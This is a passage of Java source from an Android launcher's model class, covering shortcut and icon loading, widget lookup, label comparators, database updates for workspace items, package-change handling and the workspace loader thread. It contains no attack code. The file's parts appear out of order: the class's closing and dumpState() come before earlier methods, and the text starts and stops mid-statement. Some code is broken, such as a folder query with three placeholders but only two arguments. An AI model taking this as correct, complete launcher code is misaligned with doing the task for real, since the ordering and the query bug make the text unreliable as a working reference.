LauncherSettings.Favorites.ITEM_TYPE_SHORTCUT; // TODO: If there's an explicit component and we can't install that, delete it. info.title = c.getString(titleIndex); int iconType = c.getInt(iconTypeIndex); switch (iconType) { case LauncherSettings.Favorites.ICON_TYPE_RESOURCE: String packageName = c.getString(iconPackageIndex); String resourceName = c.getString(iconResourceIndex); PackageManager packageManager = context.getPackageManager(); info.customIcon = false; // the resource try { Resources resources = packageManager.getResourcesForApplication(packageName); if (resources != null) { final int id = resources.getIdentifier(resourceName, null, null); icon = Utilities.createIconBitmap( mIconCache.getFullResIcon(resources, id), context); } } catch (Exception e) { // drop this. we have other places to look for icons } // the db if (icon == null) { icon = getIconFromCursor(c, iconIndex, context); } // the fallback icon if (icon == null) { icon = getFallbackIcon(); info.usingFallbackIcon = true; } break; case LauncherSettings.Favorites.ICON_TYPE_BITMAP: icon = getIconFromCursor(c, iconIndex, context); if (icon == null) { icon = getFallbackIcon(); info.customIcon = false; info.usingFallbackIcon = true; } else { info.customIcon = true; } break; default: icon = getFallbackIcon(); info.usingFallbackIcon = true; info.customIcon = false; break; } info.setIcon(icon); return info; } Bitmap getIconFromCursor(Cursor c, int iconIndex, Context context) { if (false) { Log.d(TAG, "getIconFromCursor app=" + c.getString(c.getColumnIndexOrThrow(LauncherSettings.Favorites.TITLE))); } byte[] data = c.getBlob(iconIndex); try { return Utilities.createIconBitmap( BitmapFactory.decodeByteArray(data, 0, data.length), context); } catch (Exception e) { return null; } } ShortcutInfo addShortcut(Context context, Intent data, long container, int screen, int cellX, int cellY, boolean notify) { final ShortcutInfo info = infoFromShortcutIntent(context, data, null); addItemToDatabase(context, info, container, screen, cellX, cellY, notify); return info; } /** * Attempts to find an AppWidgetProviderInfo that matches the given component. */ AppWidgetProviderInfo findAppWidgetProviderInfoWithComponent(Context context, ComponentName component) { List<AppWidgetProviderInfo> widgets = AppWidgetManager.getInstance(context).getInstalledProviders(); for (AppWidgetProviderInfo info : widgets) { if (info.provider.equals(component)) { return info; } } return null; } /** * Returns a list of all the widgets that can handle configuration with a particular mimeType. */ List<WidgetMimeTypeHandlerData> resolveWidgetsForMimeType(Context context, String mimeType) { final PackageManager packageManager = context.getPackageManager(); final List<WidgetMimeTypeHandlerData> supportedConfigurationActivities = new ArrayList<WidgetMimeTypeHandlerData>(); final Intent supportsIntent = new Intent(InstallWidgetReceiver.ACTION_SUPPORTS_CLIPDATA_MIMETYPE); supportsIntent.setType(mimeType); // Create a set of widget configuration components that we can test against final List<AppWidgetProviderInfo> widgets = AppWidgetManager.getInstance(context).getInstalledProviders(); final HashMap<ComponentName, AppWidgetProviderInfo> configurationComponentToWidget = new HashMap<ComponentName, AppWidgetProviderInfo>(); for (AppWidgetProviderInfo info : widgets) { configurationComponentToWidget.put(info.configure, info); } // Run through each of the intents that can handle this type of clip data, and cross // reference them with the components that are actual configuration components final List<ResolveInfo> activities = packageManager.queryIntentActivities(supportsIntent, PackageManager.MATCH_DEFAULT_ONLY); for (ResolveInfo info : activities) { final ActivityInfo activityInfo = info.activityInfo; final ComponentName infoComponent = new ComponentName(activityInfo.packageName, activityInfo.name); if (configurationComponentToWidget.containsKey(infoComponent)) { supportedConfigurationActivities.add( new InstallWidgetReceiver.WidgetMimeTypeHandlerData(info, configurationComponentToWidget.get(infoComponent))); } } return supportedConfigurationActivities; } ShortcutInfo infoFromShortcutIntent(Context context, Intent data, Bitmap fallbackIcon) { Intent intent = data.getParcelableExtra(Intent.EXTRA_SHORTCUT_INTENT); String name = data.getStringExtra(Intent.EXTRA_SHORTCUT_NAME); Parcelable bitmap = data.getParcelableExtra(Intent.EXTRA_SHORTCUT_ICON); Bitmap icon = null; boolean customIcon = false; ShortcutIconResource iconResource = null; if (bitmap != null && bitmap instanceof Bitmap) { icon = Utilities.createIconBitmap(new FastBitmapDrawable((Bitmap)bitmap), context); customIcon = true; } else { Parcelable extra = data.getParcelableExtra(Intent.EXTRA_SHORTCUT_ICON_RESOURCE); if (extra != null && extra instanceof ShortcutIconResource) { try { iconResource = (ShortcutIconResource) extra; final PackageManager packageManager = context.getPackageManager(); Resources resources = packageManager.getResourcesForApplication( iconResource.packageName); final int id = resources.getIdentifier(iconResource.resourceName, null, null); icon = Utilities.createIconBitmap( mIconCache.getFullResIcon(resources, id), context); } catch (Exception e) { Log.w(TAG, "Could not load shortcut icon: " + extra); } } } final ShortcutInfo info = new ShortcutInfo("9"); if (icon == null) { if (fallbackIcon != null) { icon = fallbackIcon; } else { icon = getFallbackIcon(); info.usingFallbackIcon = true; } } info.setIcon(icon); info.title = name; info.intent = intent; info.customIcon = customIcon; info.iconResource = iconResource; return info; } boolean queueIconToBeChecked(HashMap<Object, byte[]> cache, ShortcutInfo info, Cursor c, int iconIndex) { // If apps can't be on SD, don't even bother. if (!mAppsCanBeOnExternalStorage) { return false; } // If this icon doesn't have a custom icon, check to see // what's stored in the DB, and if it doesn't match what // we're going to show, store what we are going to show back // into the DB. We do this so when we're loading, if the // package manager can't find an icon (for example because // the app is on SD) then we can use that instead. if (!info.customIcon && !info.usingFallbackIcon) { cache.put(info, c.getBlob(iconIndex)); return true; } return false; } void updateSavedIcon(Context context, ShortcutInfo info, byte[] data) { boolean needSave = false; try { if (data != null) { Bitmap saved = BitmapFactory.decodeByteArray(data, 0, data.length); Bitmap loaded = info.getIcon(mIconCache); needSave = !saved.sameAs(loaded); } else { needSave = true; } } catch (Exception e) { needSave = true; } if (needSave) { Log.d(TAG, "going to save icon bitmap for info=" + info); // This is slower than is ideal, but this only happens once // or when the app is updated with a new icon. updateItemInDatabase(context, info); } } /** * Return an existing FolderInfo object if we have encountered this ID previously, * or make a new one. */ private static FolderInfo findOrMakeFolder(HashMap<Long, FolderInfo> folders, long id) { // See if a placeholder was created for us already FolderInfo folderInfo = folders.get(id); if (folderInfo == null) { // No placeholder -- create a new instance folderInfo = new FolderInfo("10"); folders.put(id, folderInfo); } return folderInfo; } private static final Collator sCollator = Collator.getInstance(); public static final Comparator<ApplicationInfo> APP_NAME_COMPARATOR = new Comparator<ApplicationInfo>() { public final int compare(ApplicationInfo a, ApplicationInfo b) { int result = sCollator.compare(a.title.toString(), b.title.toString()); if (result == 0) { result = a.componentName.compareTo(b.componentName); } return result; } }; public static final Comparator<ApplicationInfo> APP_INSTALL_TIME_COMPARATOR = new Comparator<ApplicationInfo>() { public final int compare(ApplicationInfo a, ApplicationInfo b) { if (a.firstInstallTime < b.firstInstallTime) return 1; if (a.firstInstallTime > b.firstInstallTime) return -1; return 0; } }; public static final Comparator<AppWidgetProviderInfo> WIDGET_NAME_COMPARATOR = new Comparator<AppWidgetProviderInfo>() { public final int compare(AppWidgetProviderInfo a, AppWidgetProviderInfo b) { return sCollator.compare(a.label.toString(), b.label.toString()); } }; static ComponentName getComponentNameFromResolveInfo(ResolveInfo info) { if (info.activityInfo != null) { return new ComponentName(info.activityInfo.packageName, info.activityInfo.name); } else { return new ComponentName(info.serviceInfo.packageName, info.serviceInfo.name); } } public static class ShortcutNameComparator implements Comparator<ResolveInfo> { private PackageManager mPackageManager; private HashMap<Object, CharSequence> mLabelCache; ShortcutNameComparator(PackageManager pm) { mPackageManager = pm; mLabelCache = new HashMap<Object, CharSequence>(); } ShortcutNameComparator(PackageManager pm, HashMap<Object, CharSequence> labelCache) { mPackageManager = pm; mLabelCache = labelCache; } public final int compare(ResolveInfo a, ResolveInfo b) { CharSequence labelA, labelB; ComponentName keyA = LauncherModel.getComponentNameFromResolveInfo(a); ComponentName keyB = LauncherModel.getComponentNameFromResolveInfo(b); if (mLabelCache.containsKey(keyA)) { labelA = mLabelCache.get(keyA); } else { labelA = a.loadLabel(mPackageManager).toString(); mLabelCache.put(keyA, labelA); } if (mLabelCache.containsKey(keyB)) { labelB = mLabelCache.get(keyB); } else { labelB = b.loadLabel(mPackageManager).toString(); mLabelCache.put(keyB, labelB); } return sCollator.compare(labelA, labelB); } }; public static class WidgetAndShortcutNameComparator implements Comparator<Object> { private PackageManager mPackageManager; private HashMap<Object, String> mLabelCache; WidgetAndShortcutNameComparator(PackageManager pm) { mPackageManager = pm; mLabelCache = new HashMap<Object, String>(); } public final int compare(Object a, Object b) { String labelA, labelB; if (mLabelCache.containsKey(a)) { labelA = mLabelCache.get(a); } else { labelA = (a instanceof AppWidgetProviderInfo) ? ((AppWidgetProviderInfo) a).label : ((ResolveInfo) a).loadLabel(mPackageManager).toString(); mLabelCache.put(a, labelA); } if (mLabelCache.containsKey(b)) { labelB = mLabelCache.get(b); } else { labelB = (b instanceof AppWidgetProviderInfo) ? ((AppWidgetProviderInfo) b).label : ((ResolveInfo) b).loadLabel(mPackageManager).toString(); mLabelCache.put(b, labelB); } return sCollator.compare(labelA, labelB); } }; public void dumpState() { Log.d(TAG, "mCallbacks=" + mCallbacks); ApplicationInfo.dumpApplicationInfoList(TAG, "mAllAppsList.data", mAllAppsList.data); ApplicationInfo.dumpApplicationInfoList(TAG, "mAllAppsList.added", mAllAppsList.added); ApplicationInfo.dumpApplicationInfoList(TAG, "mAllAppsList.removed", mAllAppsList.removed); ApplicationInfo.dumpApplicationInfoList(TAG, "mAllAppsList.modified", mAllAppsList.modified); if (mLoaderTask != null) { mLoaderTask.dumpState(); } else { Log.d(TAG, "mLoaderTask=null"); } } }
static boolean shortcutExists(Context context, String title, Intent intent) { final ContentResolver cr = context.getContentResolver(); Cursor c = cr.query(LauncherSettings.Favorites.CONTENT_URI, new String[] { "title", "intent" }, "title=? and intent=?", new String[] { title, intent.toUri(0) }, null); boolean result = false; try { result = c.moveToFirst(); } finally { c.close(); } return result; } /** * Returns an ItemInfo array containing all the items in the LauncherModel. * The ItemInfo.id is not set through this function. */ static ArrayList<ItemInfo> getItemsInLocalCoordinates(Context context) { ArrayList<ItemInfo> items = new ArrayList<ItemInfo>(); final ContentResolver cr = context.getContentResolver(); Cursor c = cr.query(LauncherSettings.Favorites.CONTENT_URI, new String[] { LauncherSettings.Favorites.ITEM_TYPE, LauncherSettings.Favorites.CONTAINER, LauncherSettings.Favorites.SCREEN, LauncherSettings.Favorites.CELLX, LauncherSettings.Favorites.CELLY, LauncherSettings.Favorites.SPANX, LauncherSettings.Favorites.SPANY }, null, null, null); final int itemTypeIndex = c.getColumnIndexOrThrow(LauncherSettings.Favorites.ITEM_TYPE); final int containerIndex = c.getColumnIndexOrThrow(LauncherSettings.Favorites.CONTAINER); final int screenIndex = c.getColumnIndexOrThrow(LauncherSettings.Favorites.SCREEN); final int cellXIndex = c.getColumnIndexOrThrow(LauncherSettings.Favorites.CELLX); final int cellYIndex = c.getColumnIndexOrThrow(LauncherSettings.Favorites.CELLY); final int spanXIndex = c.getColumnIndexOrThrow(LauncherSettings.Favorites.SPANX); final int spanYIndex = c.getColumnIndexOrThrow(LauncherSettings.Favorites.SPANY); try { while (c.moveToNext()) { ItemInfo item = new ItemInfo("17"); item.cellX = c.getInt(cellXIndex); item.cellY = c.getInt(cellYIndex); item.spanX = c.getInt(spanXIndex); item.spanY = c.getInt(spanYIndex); item.container = c.getInt(containerIndex); item.itemType = c.getInt(itemTypeIndex); item.screen = c.getInt(screenIndex); items.add(item); } } catch (Exception e) { items.clear(); } finally { c.close(); } return items; } /** * Find a folder in the db, creating the FolderInfo if necessary, and adding it to folderList. */ FolderInfo getFolderById(Context context, HashMap<Long,FolderInfo> folderList, long id) { final ContentResolver cr = context.getContentResolver(); Cursor c = cr.query(LauncherSettings.Favorites.CONTENT_URI, null, "_id=? and (itemType=? or itemType=?)", new String[] { String.valueOf(id), String.valueOf(LauncherSettings.Favorites.ITEM_TYPE_FOLDER)}, null); try { if (c.moveToFirst()) { final int itemTypeIndex = c.getColumnIndexOrThrow(LauncherSettings.Favorites.ITEM_TYPE); final int titleIndex = c.getColumnIndexOrThrow(LauncherSettings.Favorites.TITLE); final int containerIndex = c.getColumnIndexOrThrow(LauncherSettings.Favorites.CONTAINER); final int screenIndex = c.getColumnIndexOrThrow(LauncherSettings.Favorites.SCREEN); final int cellXIndex = c.getColumnIndexOrThrow(LauncherSettings.Favorites.CELLX); final int cellYIndex = c.getColumnIndexOrThrow(LauncherSettings.Favorites.CELLY); FolderInfo folderInfo = null; switch (c.getInt(itemTypeIndex)) { case LauncherSettings.Favorites.ITEM_TYPE_FOLDER: folderInfo = findOrMakeFolder(folderList, id); break; } folderInfo.title = c.getString(titleIndex); folderInfo.id = id; folderInfo.container = c.getInt(containerIndex); folderInfo.screen = c.getInt(screenIndex); folderInfo.cellX = c.getInt(cellXIndex); folderInfo.cellY = c.getInt(cellYIndex); return folderInfo; } } finally { c.close(); } return null; } /** * Add an item to the database in a specified container. Sets the container, screen, cellX and * cellY fields of the item. Also assigns an ID to the item. */ static void addItemToDatabase(Context context, final ItemInfo item, final long container, final int screen, final int cellX, final int cellY, final boolean notify) { item.container = container; item.cellX = cellX; item.cellY = cellY; // We store hotseat items in canonical form which is this orientation invariant position // in the hotseat if (context instanceof Launcher && screen < 0 && container == LauncherSettings.Favorites.CONTAINER_HOTSEAT) { item.screen = ((Launcher) context).getHotseat().getOrderInHotseat(cellX, cellY); } else { item.screen = screen; } final ContentValues values = new ContentValues(); final ContentResolver cr = context.getContentResolver(); item.onAddToDatabase(values); LauncherApplication app = (LauncherApplication) context.getApplicationContext(); item.id = app.getLauncherProvider().generateNewId(); values.put(LauncherSettings.Favorites._ID, item.id); item.updateValuesWithCoordinates(values, item.cellX, item.cellY); sWorker.post(new Runnable() { public void run() { cr.insert(notify ? LauncherSettings.Favorites.CONTENT_URI : LauncherSettings.Favorites.CONTENT_URI_NO_NOTIFICATION, values); if (sItemsIdMap.containsKey(item.id)) { // we should not be adding new items in the db with the same id throw new RuntimeException("Error: ItemInfo id (" + item.id + ") passed to " + "addItemToDatabase already exists." + item.toString()); } sItemsIdMap.put(item.id, item); switch (item.itemType) { case LauncherSettings.Favorites.ITEM_TYPE_FOLDER: sFolders.put(item.id, (FolderInfo) item); // Fall through case LauncherSettings.Favorites.ITEM_TYPE_APPLICATION: case LauncherSettings.Favorites.ITEM_TYPE_SHORTCUT: if (item.container == LauncherSettings.Favorites.CONTAINER_DESKTOP || item.container == LauncherSettings.Favorites.CONTAINER_HOTSEAT) { sWorkspaceItems.add(item); } break; case LauncherSettings.Favorites.ITEM_TYPE_APPWIDGET: sAppWidgets.add((LauncherAppWidgetInfo) item); break; } } }); } /** * Creates a new unique child id, for a given cell span across all layouts. */ static int getCellLayoutChildId( long container, int screen, int localCellX, int localCellY, int spanX, int spanY) { return (((int) container & 0xFF) << 24) | (screen & 0xFF) << 16 | (localCellX & 0xFF) << 8 | (localCellY & 0xFF); } static int getCellCountX() { return mCellCountX; } static int getCellCountY() { return mCellCountY; } /** * Updates the model orientation helper to take into account the current layout dimensions * when performing local/canonical coordinate transformations. */ static void updateWorkspaceLayoutCells(int shortAxisCellCount, int longAxisCellCount) { mCellCountX = shortAxisCellCount; mCellCountY = longAxisCellCount; } /** * Update an item to the database in a specified container. */ static void updateItemInDatabase(Context context, final ItemInfo item) { final ContentValues values = new ContentValues(); final ContentResolver cr = context.getContentResolver(); item.onAddToDatabase(values); item.updateValuesWithCoordinates(values, item.cellX, item.cellY); Runnable r = new Runnable() { public void run() { cr.update(LauncherSettings.Favorites.getContentUri(item.id, false), values, null, null); final ItemInfo modelItem = sItemsIdMap.get(item.id); if (item != modelItem) { // the modelItem needs to match up perfectly with item if our model is to be // consistent with the database-- for now, just require modelItem == item String msg = "item: " + ((item != null) ? item.toString() : "null") + " modelItem: " + ((modelItem != null) ? modelItem.toString() : "null") + " creation tag of item: " + ((item != null) ? item.whereCreated : "null") + " creation tag of modelItem: " + ((modelItem != null) ? modelItem.whereCreated : "null") + " Error: ItemInfo passed to updateItemInDatabase doesn't match original"; throw new RuntimeException(msg); } } }; if (sWorkerThread.getThreadId() == Process.myTid()) { r.run(); } else { sWorker.post(r); } } /** * Removes the specified item from the database * @param context * @param item */ static void deleteItemFromDatabase(Context context, final ItemInfo item) { final ContentResolver cr = context.getContentResolver(); final Uri uriToDelete = LauncherSettings.Favorites.getContentUri(item.id, false); sWorker.post(new Runnable() { public void run() { cr.delete(uriToDelete, null, null); switch (item.itemType) { case LauncherSettings.Favorites.ITEM_TYPE_FOLDER: sFolders.remove(item.id); sWorkspaceItems.remove(item); break; case LauncherSettings.Favorites.ITEM_TYPE_APPLICATION: case LauncherSettings.Favorites.ITEM_TYPE_SHORTCUT: sWorkspaceItems.remove(item); break; case LauncherSettings.Favorites.ITEM_TYPE_APPWIDGET: sAppWidgets.remove((LauncherAppWidgetInfo) item); break; } sItemsIdMap.remove(item.id); sDbIconCache.remove(item); } }); } /** * Remove the contents of the specified folder from the database */ static void deleteFolderContentsFromDatabase(Context context, final FolderInfo info) { final ContentResolver cr = context.getContentResolver(); sWorker.post(new Runnable() { public void run() { cr.delete(LauncherSettings.Favorites.getContentUri(info.id, false), null, null); sItemsIdMap.remove(info.id); sFolders.remove(info.id); sDbIconCache.remove(info); sWorkspaceItems.remove(info); cr.delete(LauncherSettings.Favorites.CONTENT_URI_NO_NOTIFICATION, LauncherSettings.Favorites.CONTAINER + "=" + info.id, null); for (ItemInfo childInfo : info.contents) { sItemsIdMap.remove(childInfo.id); sDbIconCache.remove(childInfo); } } }); } /** * Set this as the current Launcher activity object for the loader. */ public void initialize(Callbacks callbacks) { synchronized (mLock) { mCallbacks = new WeakReference<Callbacks>(callbacks); } } /** * Call from the handler for ACTION_PACKAGE_ADDED, ACTION_PACKAGE_REMOVED and * ACTION_PACKAGE_CHANGED. */ @Override public void onReceive(Context context, Intent intent) { if (DEBUG_LOADERS) Log.d(TAG, "onReceive intent=" + intent); final String action = intent.getAction(); if (Intent.ACTION_PACKAGE_CHANGED.equals(action) || Intent.ACTION_PACKAGE_REMOVED.equals(action) || Intent.ACTION_PACKAGE_ADDED.equals(action)) { final String packageName = intent.getData().getSchemeSpecificPart(); final boolean replacing = intent.getBooleanExtra(Intent.EXTRA_REPLACING, false); int op = PackageUpdatedTask.OP_NONE; if (packageName == null || packageName.length() == 0) { // they sent us a bad intent return; } if (Intent.ACTION_PACKAGE_CHANGED.equals(action)) { op = PackageUpdatedTask.OP_UPDATE; } else if (Intent.ACTION_PACKAGE_REMOVED.equals(action)) { if (!replacing) { op = PackageUpdatedTask.OP_REMOVE; } // else, we are replacing the package, so a PACKAGE_ADDED will be sent // later, we will update the package at this time } else if (Intent.ACTION_PACKAGE_ADDED.equals(action)) { if (!replacing) { op = PackageUpdatedTask.OP_ADD; } else { op = PackageUpdatedTask.OP_UPDATE; } } if (op != PackageUpdatedTask.OP_NONE) { enqueuePackageUpdated(new PackageUpdatedTask(op, new String[] { packageName })); } } else if (Intent.ACTION_EXTERNAL_APPLICATIONS_AVAILABLE.equals(action)) { // First, schedule to add these apps back in. String[] packages = intent.getStringArrayExtra(Intent.EXTRA_CHANGED_PACKAGE_LIST); enqueuePackageUpdated(new PackageUpdatedTask(PackageUpdatedTask.OP_ADD, packages)); // Then, rebind everything. startLoaderFromBackground(); } else if (Intent.ACTION_EXTERNAL_APPLICATIONS_UNAVAILABLE.equals(action)) { String[] packages = intent.getStringArrayExtra(Intent.EXTRA_CHANGED_PACKAGE_LIST); enqueuePackageUpdated(new PackageUpdatedTask( PackageUpdatedTask.OP_UNAVAILABLE, packages)); } else if (Intent.ACTION_LOCALE_CHANGED.equals(action)) { // If we have changed locale we need to clear out the labels in all apps. // Do this here because if the launcher activity is running it will be restarted. // If it's not running startLoaderFromBackground will merely tell it that it needs // to reload. Either way, mAllAppsLoaded will be cleared so it re-reads everything // next time. mAllAppsLoaded = false; mWorkspaceLoaded = false; startLoaderFromBackground(); } else if (SearchManager.INTENT_GLOBAL_SEARCH_ACTIVITY_CHANGED.equals(action) || SearchManager.INTENT_ACTION_SEARCHABLES_CHANGED.equals(action)) { if (mCallbacks != null) { Callbacks callbacks = mCallbacks.get(); if (callbacks != null) { callbacks.bindSearchablesChanged(); } } } } /** * When the launcher is in the background, it's possible for it to miss paired * configuration changes. So whenever we trigger the loader from the background * tell the launcher that it needs to re-run the loader when it comes back instead * of doing it now. */ public void startLoaderFromBackground() { boolean runLoader = false; if (mCallbacks != null) { Callbacks callbacks = mCallbacks.get(); if (callbacks != null) { // Only actually run the loader if they're not paused. if (!callbacks.setLoadOnResume()) { runLoader = true; } } } if (runLoader) { startLoader(mApp, false); } } public void startLoader(Context context, boolean isLaunching) { synchronized (mLock) { if (DEBUG_LOADERS) { Log.d(TAG, "startLoader isLaunching=" + isLaunching); } // Don't bother to start the thread if we know it's not going to do anything if (mCallbacks != null && mCallbacks.get() != null) { // If there is already one running, tell it to stop. LoaderTask oldTask = mLoaderTask; if (oldTask != null) { if (oldTask.isLaunching()) { // don't downgrade isLaunching if we're already running isLaunching = true; } oldTask.stopLocked(); } mLoaderTask = new LoaderTask(context, isLaunching); sWorker.post(mLoaderTask); } } } public void stopLoader() { synchronized (mLock) { if (mLoaderTask != null) { mLoaderTask.stopLocked(); } } } public boolean isAllAppsLoaded() { return mAllAppsLoaded; } /** * Runnable for the thread that loads the contents of the launcher: * - workspace icons * - widgets * - all apps icons */ private class LoaderTask implements Runnable { private Context mContext; private Thread mWaitThread; private boolean mIsLaunching; private boolean mStopped; private boolean mLoadAndBindStepFinished; private HashMap<Object, CharSequence> mLabelCache; LoaderTask(Context context, boolean isLaunching) { mContext = context; mIsLaunching = isLaunching; mLabelCache = new HashMap<Object, CharSequence>(); } boolean isLaunching() { return mIsLaunching; } private void loadAndBindWorkspace() { // Load the workspace if (DEBUG_LOADERS) { Log.d(TAG, "loadAndBindWorkspace mWorkspaceLoaded=" + mWorkspaceLoaded); } if (!mWorkspaceLoaded) { loadWorkspace(); if (mStopped) { return; } mWorkspaceLoaded = true; } // Bind the workspace bindWorkspace(); } private void waitForIdle() { // Wait until the either we're stopped or the other threads are done. // This way we don't start loading all apps until the workspace has settled // down. synchronized (LoaderTask.this) { final long workspaceWaitTime = DEBUG_LOADERS ? SystemClock.uptimeMillis() : 0; mHandler.postIdle(new Runnable() { public void run() { synchronized (LoaderTask.this) { mLoadAndBindStepFinished = true; if (DEBUG_LOADERS) { Log.d(TAG, "done with previous binding step"); } LoaderTask.this.notify(); } } }); while (!mStopped && !mLoadAndBindStepFinished) { try { this.wait(); } catch (InterruptedException ex) { // Ignore } } if (DEBUG_LOADERS) { Log.d(TAG, "waited " + (SystemClock.uptimeMillis()-workspaceWaitTime) + "ms for previous step to finish binding"); } } } public void run() { // Optimize for end-user experience: if the Launcher is up and // running with the // All Apps interface in the foreground, load All Apps first. Otherwise, load the // workspace first (default). final Callbacks cbk = mCallbacks.get(); final boolean loadWorkspaceFirst = cbk != null ? (!cbk.isAllAppsVisible()) : true; keep_running: { // Elevate priority when Home launches for the first time to avoid // starving at boot time. Staring at a blank home is not cool. synchronized (mLock) { if (DEBUG_LOADERS) Log.d(TAG, "Setting thread priority to " + (mIsLaunching ? "DEFAULT" : "BACKGROUND")); android.os.Process.setThreadPriority(mIsLaunching ? Process.THREAD_PRIORITY_DEFAULT : Process.THREAD_PRIORITY_BACKGROUND); } if (loadWorkspaceFirst) { if (DEBUG_LOADERS) Log.d(TAG, "step 1: loading workspace"); loadAndBindWorkspace(); } else { if (DEBUG_LOADERS) Log.d(TAG, "step 1: special: loading all apps"); loadAndBindAllApps(); } if (mStopped) { break keep_running; } // Whew! Hard work done. Slow us down, and wait until the UI thread has // settled down. synchronized (mLock) { if (mIsLaunching) { if (DEBUG_LOADERS) Log.d(TAG, "Setting thread priority to BACKGROUND"); android.os.Process.setThreadPriority(Process.THREAD_PRIORITY_BACKGROUND); } } waitForIdle(); // second step if (loadWorkspaceFirst) { if (DEBUG_LOADERS) Log.d(TAG, "step 2: loading all apps"); loadAndBindAllApps(); } else { if (DEBUG_LOADERS) Log.d(TAG, "step 2: special: loading workspace"); loadAndBindWorkspace(); } } // Update the saved icons if necessary if (DEBUG_LOADERS) Log.d(TAG, "Comparing loaded icons to database icons"); for (Object key : sDbIconCache.keySet()) { updateSavedIcon(mContext, (ShortcutInfo) key, sDbIconCache.get(key)); } sDbIconCache.clear(); // Clear out this reference, otherwise we end up holding it until all of the // callback runnables are done. mContext = null; synchronized (mLock) { // If we are still the last one to be scheduled, remove ourselves. if (mLoaderTask == this) { mLoaderTask = null; } } } public void stopLocked() { synchronized (LoaderTask.this) { mStopped = true; this.notify(); } } /** * Gets the callbacks object. If we've been stopped, or if the launcher object * has somehow been garbage collected, return null instead. Pass in the Callbacks * object that was around when the deferred message was scheduled, and if there's * a new Callbacks object around then also return null. This will save us from * calling onto it with data that will be ignored. */ Callbacks tryGetCallbacks(Callbacks oldCallbacks) { synchronized (mLock) { if (mStopped) { return null; } if (mCallbacks == null) { return null; } final Callbacks callbacks = mCallbacks.get(); if (callbacks != oldCallbacks) { return null; } if (callbacks == null) { Log.w(TAG, "no mCallbacks"); return null; } return callbacks; } } // check & update map of what's occupied; used to discard overlapping/invalid items private boolean checkItemPlacement(ItemInfo occupied[][][], ItemInfo item) { int containerIndex = item.screen; if (item.container == LauncherSettings.Favorites.CONTAINER_HOTSEAT) { // Return early if we detect that an item is under the hotseat button if (Hotseat.isAllAppsButtonRank(item.screen)) { return false; } // We use the last index to refer to the hotseat and the screen as the rank, so // test and update the occupied state accordingly if (occupied[Launcher.SCREEN_COUNT][item.screen][0] != null) { Log.e(TAG, "Error loading shortcut into hotseat " + item + " into position (" + item.screen + ":" + item.cellX + "," + item.cellY + ") occupied by " + occupied[Launcher.SCREEN_COUNT][item.screen][0]); return false; } else { occupied[Launcher.SCREEN_COUNT][item.screen][0] = item; return true; } } else if (item.container != LauncherSettings.Favorites.CONTAINER_DESKTOP) { // Skip further checking if it is not the hotseat or workspace container return true; } // Check if any workspace icons overlap with each other for (int x = item.cellX; x < (item.cellX+item.spanX); x++) { for (int y = item.cellY; y < (item.cellY+item.spanY); y++) { if (occupied[containerIndex][x][y] != null) { Log.e(TAG, "Error loading shortcut " + item + " into cell (" + containerIndex + "-" + item.screen + ":" + x + "," + y + ") occupied by " + occupied[containerIndex][x][y]); return false; } } } for (int x = item.cellX; x < (item.cellX+item.spanX); x++) { for (int y = item.cellY; y < (item.cellY+item.spanY); y++) { occupied[containerIndex][x][y] = item; } } return true; } private void loadWorkspace() { final long t = DEBUG_LOADERS ? SystemClock.uptimeMillis() : 0; final Context context = mContext; final ContentResolver contentResolver = context.getContentResolver(); final PackageManager manager = context.getPackageManager(); final AppWidgetManager widgets = AppWidgetManager.getInstance(context); final boolean isSafeMode = manager.isSafeMode(); sWorkspaceItems.clear(); sAppWidgets.clear(); sFolders.clear(); sItemsIdMap.clear(); sDbIconCache.clear(); final ArrayList<Long> itemsToRemove = new ArrayList<Long>(); final Cursor c = contentResolver.query( LauncherSettings.Favorites.CONTENT_URI, null, null, null, LauncherSettings.Favorites._ID + " DESC"); // +1 for the hotseat (it can be larger than the workspace) // Load workspace in reverse order to ensure that latest items are loaded first (and // before any earlier duplicates) final ItemInfo occupied[][][] = new ItemInfo[Launcher.SCREEN_COUNT + 1][mCellCountX + 1][mCellCountY + 1]; try { final int idIndex = c.getColumnIndexOrThrow(LauncherSettings.Favorites._ID); final int intentIndex = c.getColumnIndexOrThrow (LauncherSettings.Favorites.INTENT); final int titleIndex = c.getColumnIndexOrThrow (LauncherSettings.Favorites.TITLE); final int iconTypeIndex = c.getColumnIndexOrThrow( LauncherSettings.Favorites.ICON_TYPE); final int iconIndex = c.getColumnIndexOrThrow(LauncherSettings.Favorites.ICON); final int iconPackageIndex = c.getColumnIndexOrThrow( LauncherSettings.Favorites.ICON_PACKAGE); final int iconResourceIndex = c.getColumnIndexOrThrow( LauncherSettings.Favorites.ICON_RESOURCE); final int containerIndex = c.getColumnIndexOrThrow( LauncherSettings.Favorites.CONTAINER); final int itemTypeIndex = c.getColumnIndexOrThrow( LauncherSettings.Favorites.ITEM_TYPE); final int appWidgetIdIndex = c.getColumnIndexOrThrow( LauncherSettings.Favorites.APPWIDGET_ID); final int screenIndex = c.getColumnIndexOrThrow( LauncherSettings.Favorites.SCREEN); final int cellXIndex = c.getColumnIndexOrThrow (LauncherSettings.Favorites.CELLX); final int cellYIndex = c.getColumnIndexOrThrow (LauncherSettings.Favorites.CELLY); final int spanXIndex = c.getColumnIndexOrThrow (LauncherSettings.Favorites.SPANX); final int spanYIndex = c.getColumnIndexOrThrow( LauncherSettings.Favorites.SPANY); final int uriIndex = c.getColumnIndexOrThrow(LauncherSettings.Favorites.URI); final int displayModeIndex = c.getColumnIndexOrThrow( LauncherSettings.Favorites.DISPLAY_MODE); ShortcutInfo info; String intentDescription; LauncherAppWidgetInfo appWidgetInfo; int container; long id; Intent intent; while (!mStopped && c.moveToNext()) { try { int itemType = c.getInt(itemTypeIndex); switch (itemType) { case LauncherSettings.Favorites.ITEM_TYPE_APPLICATION: case LauncherSettings.Favorites.ITEM_TYPE_SHORTCUT: intentDescription = c.getString(intentIndex); try { intent = Intent.parseUri(intentDescription, 0); } catch (URISyntaxException e) { continue; } if (itemType == LauncherSettings.Favorites.ITEM_TYPE_APPLICATION) { info = getShortcutInfo(manager, intent, context, c, iconIndex, titleIndex, mLabelCache); } else { info = getShortcutInfo(c, context, iconTypeIndex, iconPackageIndex, iconResourceIndex, iconIndex, titleIndex); } if (info != null) { info.intent = intent; info.id = c.getLong(idIndex); container = c.getInt(containerIndex); info.container = container; info.screen = c.getInt(screenIndex); info.cellX = c.getInt(cellXIndex); info.cellY = c.getInt(cellYIndex); // check & update map of what's occupied if (!checkItemPlacement(occupied, info)) { break; } switch (container) { case LauncherSettings.Favorites.CONTAINER_DESKTOP: case LauncherSettings.Favorites.CONTAINER_HOTSEAT: 